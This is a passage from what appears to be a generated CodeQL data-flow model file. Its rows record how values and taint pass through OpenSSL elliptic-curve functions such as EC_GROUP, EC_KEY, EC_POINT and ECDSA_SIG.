"dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0_s", "(const ECDSA_SIG *)", "", "Argument[*0].Field[**s]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0_s", "(const ECDSA_SIG *)", "", "Argument[*0].Field[*s]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**r]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*r]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "ECPARAMETERS_free", "(ECPARAMETERS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ECPARAMETERS_free", "(ECPARAMETERS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ECPKPARAMETERS_free", "(ECPKPARAMETERS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ECPKPARAMETERS_free", "(ECPKPARAMETERS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_dup", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get0_cofactor", "(const EC_GROUP *)", "", "Argument[*0].Field[**cofactor]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_cofactor", "(const EC_GROUP *)", "", "Argument[*0].Field[*cofactor]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_field", "(const EC_GROUP *)", "", "Argument[*0].Field[**field]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_field", "(const EC_GROUP *)", "", "Argument[*0].Field[*field]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_generator", "(const EC_GROUP *)", "", "Argument[*0].Field[**generator]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_generator", "(const EC_GROUP *)", "", "Argument[*0].Field[*generator]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_order", "(const EC_GROUP *)", "", "Argument[*0].Field[**order]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_order", "(const EC_GROUP *)", "", "Argument[*0].Field[*order]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_seed", "(const EC_GROUP *)", "", "Argument[*0].Field[**seed]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_seed", "(const EC_GROUP *)", "", "Argument[*0].Field[*seed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_asn1_flag", "(const EC_GROUP *)", "", "Argument[*0].Field[*asn1_flag]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_cofactor", "(const EC_GROUP *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_curve_name", "(const EC_GROUP *)", "", "Argument[*0].Field[*curve_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_field_type", "(const EC_GROUP *)", "", "Argument[*0].Field[**meth].Field[*field_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_mont_data", "(const EC_GROUP *)", "", "Argument[*0].Field[**mont_data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_mont_data", "(const EC_GROUP *)", "", "Argument[*0].Field[*mont_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_order", "(const EC_GROUP *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_pentanomial_basis", "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_pentanomial_basis", "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_pentanomial_basis", "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_point_conversion_form", "(const EC_GROUP *)", "", "Argument[*0].Field[*asn1_form]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_seed_len", "(const EC_GROUP *)", "", "Argument[*0].Field[*seed_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_trinomial_basis", "(const EC_GROUP *,unsigned int *)", "", "Argument[*0].Field[*poly]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_method_of", "(const EC_GROUP *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_method_of", "(const EC_GROUP *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new", "(const EC_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new", "(const EC_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_curve_GF2m", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_new_curve_GFp", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_new_from_ecparameters", "(const ECPARAMETERS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_asn1_flag", "(EC_GROUP *,int)", "", "Argument[1]", "Argument[*0].Field[*asn1_flag]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_curve_name", "(EC_GROUP *,int)", "", "Argument[1]", "Argument[*0].Field[*curve_name]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_generator", "(EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_set_generator", "(EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_set_point_conversion_form", "(EC_GROUP *,point_conversion_form_t)", "", "Argument[1]", "Argument[*0].Field[*asn1_form]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*seed_len]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_to_params", "(const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *)", "", "Argument[*1]", "Argument[*3].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_to_params", "(const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *)", "", "Argument[1]", "Argument[*3].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_compute_key", "(const EC_KEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*compute_key]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_keygen", "(const EC_KEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*keygen]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_sign", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_sign", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_sign", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_verify", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_verify", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_sig]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue[*].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_compute_key", "(EC_KEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*compute_key]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*copy]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[4]", "Argument[*0].Field[*set_group]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[5]", "Argument[*0].Field[*set_private]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[6]", "Argument[*0].Field[*set_public]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_keygen", "(EC_KEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*keygen]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_sign", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*sign]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_sign", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*sign_setup]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_sign", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*sign_sig]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_verify", "(EC_KEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_verify", "(EC_KEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verify_sig]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_clear_flags", "(EC_KEY *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_copy", "(EC_KEY *,const EC_KEY *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_KEY_copy", "(EC_KEY *,const EC_KEY *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_decoded_from_explicit_params", "(const EC_KEY *)", "", "Argument[*0].Field[**group].Field[*decoded_from_explicit_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_dup", "(const EC_KEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_get0_engine", "(const EC_KEY *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_engine", "(const EC_KEY *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_group", "(const EC_KEY *)", "", "Argument[*0].Field[**group]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_group", "(const EC_KEY *)", "", "Argument[*0].Field[*group]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_private_key", "(const EC_KEY *)", "", "Argument[*0].Field[**priv_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_private_key", "(const EC_KEY *)", "", "Argument[*0].Field[*priv_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_public_key", "(const EC_KEY *)", "", "Argument[*0].Field[**pub_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_public_key", "(const EC_KEY *)", "", "Argument[*0].Field[*pub_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_conv_form", "(const EC_KEY *)", "", "Argument[*0].Field[*conv_form]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_enc_flags", "(const EC_KEY *)", "", "Argument[*0].Field[*enc_flag]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_ex_data", "(const EC_KEY *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_get_flags", "(const EC_KEY *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_method", "(const EC_KEY *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_method", "(const EC_KEY *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_key2buf", "(const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *)", "", "Argument[1]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**group].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**group].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**group].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**group].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_oct2key", "(EC_KEY *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*1]", "Argument[*0].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_oct2key", "(EC_KEY *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_set_asn1_flag", "(EC_KEY *,int)", "", "Argument[1]", "Argument[*0].Field[**group].Field[*asn1_flag]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_conv_form", "(EC_KEY *,point_conversion_form_t)", "", "Argument[1]", "Argument[*0].Field[**group].Field[*asn1_form]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_conv_form", "(EC_KEY *,point_conversion_form_t)", "", "Argument[1]", "Argument[*0].Field[*conv_form]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_enc_flags", "(EC_KEY *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*enc_flag]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_flags", "(EC_KEY *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_set_group", "(EC_KEY *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_set_method", "(EC_KEY *,const EC_KEY_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_method", "(EC_KEY *,const EC_KEY_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_private_key", "(EC_KEY *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_METHOD_get_field_type", "(const EC_METHOD *)", "", "Argument[*0].Field[*field_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_bn2point", "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_bn2point", "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_bn2point", "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_dup", "(const EC_POINT *,const EC_GROUP *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_hex2point", "(const EC_GROUP *,const char *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_hex2point", "(const EC_GROUP *,const char *,EC_POINT *,BN_CTX *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_method_of", "(const EC_POINT *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_method_of", "(const EC_POINT *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_new", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[2]", "Argument[*3].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP 